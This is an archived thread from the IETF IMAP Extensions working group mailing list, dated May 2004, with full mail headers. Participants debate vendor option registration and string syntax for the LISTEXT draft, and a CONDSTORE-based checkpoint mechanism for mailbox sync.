i4JEULIW036889; Wed, 19 May 2004 07:30:21 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JEULGj036888; Wed, 19 May 2004 07:30:21 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEUK3C036881 for ; Wed, 19 May 2004 07:30:20 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 19 May 2004 15:26:43 +0100 Message-ID: <40AB6EA1.9010109@isode.com> Date: Wed, 19 May 2004 15:26:41 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Cyrus Daboo , Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> <40AB6780.1000908@isode.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Wed, 19 May 2004, Alexey Melnikov wrote: > > >>>I don't think vendors should have to register the specific option - >>>only their names. I see vendor options as being more of a private >>>namespace. If a vendors wants an option that is expected to be public, >>>then perhaps use of an 'X-' prefix would be better? >>> >>> >>I don't think 'X-' prefix would buy anything. If an option get's widely >>used, it has to be reregistered anyway. >>And an option unimportant in the eyes of the person who designed it >>might turn out to be important for other people (and vice versa). >> >>So, how about the following? >>1). Registering a vendor prefix is a MUST >>2). Registering a vendor specific option is a SHOULD. >> >> > >If we're going to make the argument for LISTEXT that people SHOULD >register specific options, what is the argument for ANNOTATE and >ANNOTATEMORE that they don't have to? > >Whatever we decide, we should be consistent (or know why the choices we >are making are different). > I agree. >Personally, I think the vendor namespace is just that -- private to the >vendor. Therefore, registration shouldn't be required (or even >recommended-- since it creates extra overhead for IANA). > > Ok, maybe it is not IANA task, but as a developer, I would really like to have a single place where *all* options are registered. That is one of the reasons that I have a collection of web pages listing different IMAP / SASL capabilities. Can IMC host registrations? Even if IMC agrees, we still end up having 2 registries, which is not good. But no matter how I like the sound of this, I can't put "MUST register your vendor option with Alexey Melnikov" in the document ;-). Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEITqs036100; Wed, 19 May 2004 07:18:29 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JEITQB036099; Wed, 19 May 2004 07:18:29 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JEIQEt036091 for ; Wed, 19 May 2004 07:18:29 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (submission)) with ESMTPA; Wed, 19 May 2004 15:18:12 +0100 Message-ID: <40AB6CA2.4010204@isode.com> Date: Wed, 19 May 2004 15:18:10 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Cyrus Daboo , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> <40AB4AF9.8050608@isode.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Wed, 19 May 2004, Cyrus Daboo wrote: > > >>--On Wednesday, May 19, 2004 12:54 PM +0100 Alexey Melnikov >> wrote: >> >> >>>IMHO, it would be good if we can reuse ACAP vendor's registry. As >>>name-component can contain spaces, the value should be quoted. A quoted >>>string doesn't allow for non-ascii characters, so it can't be used. But I >>>can add something that looks like a quoted string, but can contain >>>non-ascii. >>>Comments? >>> >>> >>Why not just define it as an 'astring', that way you can have atom, quoted >>or literal as fits the data. >> >> > >This seems much nicer -- it'd be pretty evil for something that looks like >a quoted string to not actually be a quoted string. > Ok, so we are back to where we started: mbox-list-extended-item-tag will become astring (as it used to be in -05). I will also change: option = "SUBSCRIBED" / "CHILDREN" / "REMOTE" / option-extension to be: option = <"> "SUBSCRIBED" <"> / <"> "CHILDREN" <"> / <"> "REMOTE" <"> / option-extension So a list command might now look like: tag LIST ("SUBSCRIBED") "" "*" Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDwpPf034378; Wed, 19 May 2004 06:58:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JDwpkv034377; Wed, 19 May 2004 06:58:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDwoSL034371 for ; Wed, 19 May 2004 06:58:50 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4JDwn0s014386; Wed, 19 May 2004 09:58:49 -0400 Date: Wed, 19 May 2004 09:58:49 -0400 (EDT) From: Rob Siemborski To: Alexey Melnikov cc: Cyrus Daboo , Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: <40AB6780.1000908@isode.com> Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> <40AB6780.1000908@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wed, 19 May 2004, Alexey Melnikov wrote: > > I don't think vendors should have to register the specific option - > > only their names. I see vendor options as being more of a private > > namespace. If a vendors wants an option that is expected to be public, > > then perhaps use of an 'X-' prefix would be better? > > I don't think 'X-' prefix would buy anything. If an option get's widely > used, it has to be reregistered anyway. > And an option unimportant in the eyes of the person who designed it > might turn out to be important for other people (and vice versa). > > So, how about the following? > 1). Registering a vendor prefix is a MUST > 2). Registering a vendor specific option is a SHOULD. If we're going to make the argument for LISTEXT that people SHOULD register specific options, what is the argument for ANNOTATE and ANNOTATEMORE that they don't have to? Whatever we decide, we should be consistent (or know why the choices we are making are different). Personally, I think the vendor namespace is just that -- private to the vendor. Therefore, registration shouldn't be required (or even recommended-- since it creates extra overhead for IANA). -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDuW4h034226; Wed, 19 May 2004 06:56:32 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JDuWcf034225; Wed, 19 May 2004 06:56:32 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDuUgT034219 for ; Wed, 19 May 2004 06:56:31 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (submission)) with ESMTPA; Wed, 19 May 2004 14:56:17 +0100 Message-ID: <40AB6780.1000908@isode.com> Date: Wed, 19 May 2004 14:56:16 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cyrus Daboo CC: Rob Siemborski , Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> In-Reply-To: <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo wrote: > > Hi Alexey, > > --On Tuesday, May 18, 2004 2:50 PM +0100 Alexey Melnikov > wrote: > >>> If there is a generally useful option that a vendor supplies, I think >>> it'd be a better approach to standardize it outside of the vendor >>> namespace than to say "eh, lets just use it in the vendor namespace". >>> >> I agree. But I think what will most likely happen is that a vendor >> specific option gets registered first, and than a standard one is >> registered later on. > > > I don't think vendors should have to register the specific option - > only their names. I see vendor options as being more of a private > namespace. If a vendors wants an option that is expected to be public, > then perhaps use of an 'X-' prefix would be better? I don't think 'X-' prefix would buy anything. If an option get's widely used, it has to be reregistered anyway. And an option unimportant in the eyes of the person who designed it might turn out to be important for other people (and vice versa). So, how about the following? 1). Registering a vendor prefix is a MUST 2). Registering a vendor specific option is a SHOULD. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDiT8K033357; Wed, 19 May 2004 06:44:29 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JDiTEf033356; Wed, 19 May 2004 06:44:29 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JDiSx0033348 for ; Wed, 19 May 2004 06:44:28 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4JDiQ0s014323; Wed, 19 May 2004 09:44:26 -0400 Date: Wed, 19 May 2004 09:44:26 -0400 (EDT) From: Rob Siemborski To: Cyrus Daboo cc: Alexey Melnikov , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> <40AB4AF9.8050608@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wed, 19 May 2004, Cyrus Daboo wrote: > --On Wednesday, May 19, 2004 12:54 PM +0100 Alexey Melnikov > wrote: > > > IMHO, it would be good if we can reuse ACAP vendor's registry. As > > name-component can contain spaces, the value should be quoted. A quoted > > string doesn't allow for non-ascii characters, so it can't be used. But I > > can add something that looks like a quoted string, but can contain > > non-ascii. > > Comments? > > Why not just define it as an 'astring', that way you can have atom, quoted > or literal as fits the data. This seems much nicer -- it'd be pretty evil for something that looks like a quoted string to not actually be a quoted string. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JCXdRu028487; Wed, 19 May 2004 05:33:39 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JCXdBM028486; Wed, 19 May 2004 05:33:39 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JCXcdb028478 for ; Wed, 19 May 2004 05:33:38 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from [10.0.1.3] (pool-141-151-190-157.pitt.east.verizon.net [141.151.190.157]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4JCVU1F011042 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 May 2004 08:31:31 -0400 Date: Wed, 19 May 2004 08:33:36 -0400 From: Cyrus Daboo To: Alexey Melnikov cc: IMAP Extensions WG Subject: Re: Update to LISTEXT draft Message-ID: In-Reply-To: <40AB4AF9.8050608@isode.com> References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> <40AB4AF9.8050608@isode.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Alexey, --On Wednesday, May 19, 2004 12:54 PM +0100 Alexey Melnikov wrote: > IMHO, it would be good if we can reuse ACAP vendor's registry. As > name-component can contain spaces, the value should be quoted. A quoted > string doesn't allow for non-ascii characters, so it can't be used. But I > can add something that looks like a quoted string, but can contain > non-ascii. > Comments? Why not just define it as an 'astring', that way you can have atom, quoted or literal as fits the data. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JBskKp025833; Wed, 19 May 2004 04:54:46 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JBskKS025832; Wed, 19 May 2004 04:54:46 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JBsiuj025821 for ; Wed, 19 May 2004 04:54:45 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (submission)) with ESMTPA; Wed, 19 May 2004 12:54:35 +0100 Message-ID: <40AB4AF9.8050608@isode.com> Date: Wed, 19 May 2004 12:54:33 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cyrus Daboo CC: IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> In-Reply-To: <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo wrote: > Hi Alexey, > > --On Monday, May 17, 2004 11:32 PM +0100 Alexey Melnikov > wrote: > >> Another interesting question is how to disallow people from registering >> options under other's vendor prefix. Should I add a template for vendor >> prefix registration? > > > Use the format VND-<>-tag for these and use the ACAP > vendor name registry to ensure unique vendor names - that is what > ANNOTATE etc use for the vendor name registry. The only potential > issue with this is that the vendor names in ACAP are utf8 so you would > need to modify your syntax to allow that instead of just atoms: > > from ACAP: > > name-component = 1*UTF8-CHAR > ;; MUST NOT contain ".", "/", "%", or "*" This must not contain spaces either, unless the value is quoted. > LISTEXT: > > vendor-tag = "VND-" name-component "-" atom > ; a vendor specific tag for extended list data > > option-vendor = "VND-" name-component "-" atom > ; a vendor specific option > > > You might feel adding the utf8 is going a bit too far, in which case > you will have to create your own 'atom' based vendor name registry, > but I think it would be better to try and stick with the ACAP one if > at all possible. IMHO, it would be good if we can reuse ACAP vendor's registry. As name-component can contain spaces, the value should be quoted. A quoted string doesn't allow for non-ascii characters, so it can't be used. But I can add something that looks like a quoted string, but can contain non-ascii. Comments? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEQ6x9054205; Tue, 18 May 2004 07:26:06 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IEQ6FA054204; Tue, 18 May 2004 07:26:06 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEQ558054196 for ; Tue, 18 May 2004 07:26:05 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4IEO81F019163 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 May 2004 10:24:09 -0400 Date: Tue, 18 May 2004 10:26:06 -0400 From: Cyrus Daboo To: Ken Murchison , IMAP Extensions WG Subject: Re: checkpoint Message-ID: In-Reply-To: <40AA0B05.2010703@oceana.com> References: <40A9C52A.8070308@ehsco.com> <40AA0B05.2010703@oceana.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Ken, --On Tuesday, May 18, 2004 9:09 AM -0400 Ken Murchison wrote: >> We've talked before about the troubles with using IMAP to open very large >> folders over long and/or thin pipes -- the synch time is death. I'm >> running into this more often and am about to the point where I'm going to >> write up a checkpoint mechanism of some kind that does basic "here's a >> marker; only send me changes made afterwards". > > Maybe I'm missing the intent, but can't CONDSTORE be used for this > purpose? See Section 3.3.1 of > http://www.ietf.org/internet-drafts/draft-ietf-imapext-condstore-05.txt CONDSTORE is missing one vital feature - the ability to indicate which messages have been expunged since the last 'checkpoint'. Without that clients have to get the entire UID list to find out which messages to expunge from their local cache. So CONDSTORE is not quite enough, however a viable checkpoint extension can be built on top of CONDSTORE. What I would like to see is the following: 1) require use of UNSELECT. There would be a new 'MODSEQ' parameter to that. Clients that want a checkpoint token when closing a mailbox would use UNSELECT with that parameter and the server would return the checkpoint token appropriate to the final closing state of the mailbox. 2) add a 'CHANGEDSINCE' parameter to SELECT that takes the checkpoint token as an argument. The server would then return two sets of UIDs: one for messages whose state has changed (flags, annotations etc) and one for messages expunged since the checkpoint token. If the checkpoint token provided by the client is older than the history there server maintains, then it can provide an untagged NO and the client will have to fall back to 'traditional' sync methods. This will provide all the sync information in a single round trip. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEAxOj053303; Tue, 18 May 2004 07:10:59 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IEAxlB053302; Tue, 18 May 2004 07:10:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEAw6j053295 for ; Tue, 18 May 2004 07:10:59 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4IE901F018879 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 May 2004 10:09:00 -0400 Date: Tue, 18 May 2004 10:10:57 -0400 From: Cyrus Daboo To: Alexey Melnikov , Rob Siemborski cc: Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft Message-ID: <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> In-Reply-To: <40AA14BB.7080209@isode.com> References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Alexey, --On Tuesday, May 18, 2004 2:50 PM +0100 Alexey Melnikov wrote: >> If there is a generally useful option that a vendor supplies, I think >> it'd be a better approach to standardize it outside of the vendor >> namespace than to say "eh, lets just use it in the vendor namespace". >> > I agree. But I think what will most likely happen is that a vendor > specific option gets registered first, and than a standard one is > registered later on. I don't think vendors should have to register the specific option - only their names. I see vendor options as being more of a private namespace. If a vendors wants an option that is expected to be public, then perhaps use of an 'X-' prefix would be better? -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IE8pnB052889; Tue, 18 May 2004 07:08:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IE8puh052888; Tue, 18 May 2004 07:08:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IE8o2S052882 for ; Tue, 18 May 2004 07:08:51 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4IE6r1F018852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 May 2004 10:06:53 -0400 Date: Tue, 18 May 2004 10:08:50 -0400 From: Cyrus Daboo To: Alexey Melnikov , Tony Hansen cc: IMAP Extensions WG Subject: Re: Update to LISTEXT draft Message-ID: <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> In-Reply-To: <40A93D83.6030505@isode.com> References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Alexey, --On Monday, May 17, 2004 11:32 PM +0100 Alexey Melnikov wrote: > Another interesting question is how to disallow people from registering > options under other's vendor prefix. Should I add a template for vendor > prefix registration? Use the format VND-<>-tag for these and use the ACAP vendor name registry to ensure unique vendor names - that is what ANNOTATE etc use for the vendor name registry. The only potential issue with this is that the vendor names in ACAP are utf8 so you would need to modify your syntax to allow that instead of just atoms: from ACAP: name-component = 1*UTF8-CHAR ;; MUST NOT contain ".", "/", "%", or "*" LISTEXT: vendor-tag = "VND-" name-component "-" atom ; a vendor specific tag for extended list data option-vendor = "VND-" name-component "-" atom ; a vendor specific option You might feel adding the utf8 is going a bit too far, in which case you will have to create your own 'atom' based vendor name registry, but I think it would be better to try and stick with the ACAP one if at all possible. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDotCv051880; Tue, 18 May 2004 06:50:55 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IDotXM051879; Tue, 18 May 2004 06:50:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDos1J051872 for ; Tue, 18 May 2004 06:50:54 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 18 May 2004 14:50:53 +0100 Message-ID: <40AA14BB.7080209@isode.com> Date: Tue, 18 May 2004 14:50:51 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Mon, 17 May 2004, Alexey Melnikov wrote: > > >>Firstly, I suspect that some vendor specific options might end up being >>used by other implementations as well. So it is important that there is >>a single place where all options are documented. Besides, sending an >>email to IANA for new registrations is not that difficult. >> >> > >If there is a generally useful option that a vendor supplies, I think it'd >be a better approach to standardize it outside of the vendor namespace >than to say "eh, lets just use it in the vendor namespace". > I agree. But I think what will most likely happen is that a vendor specific option gets registered first, and than a standard one is registered later on. >>Another interesting question is how to disallow people from registering >>options under other's vendor prefix. Should I add a template for vendor >>prefix registration? >> >> > >Yes -- you should always have to register the vendor prefix. > Ok, I will add a new template than (or amend the existing one). Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDklso051715; Tue, 18 May 2004 06:46:47 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IDklWI051714; Tue, 18 May 2004 06:46:47 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.6.59]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDkknd051707 for ; Tue, 18 May 2004 06:46:46 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu 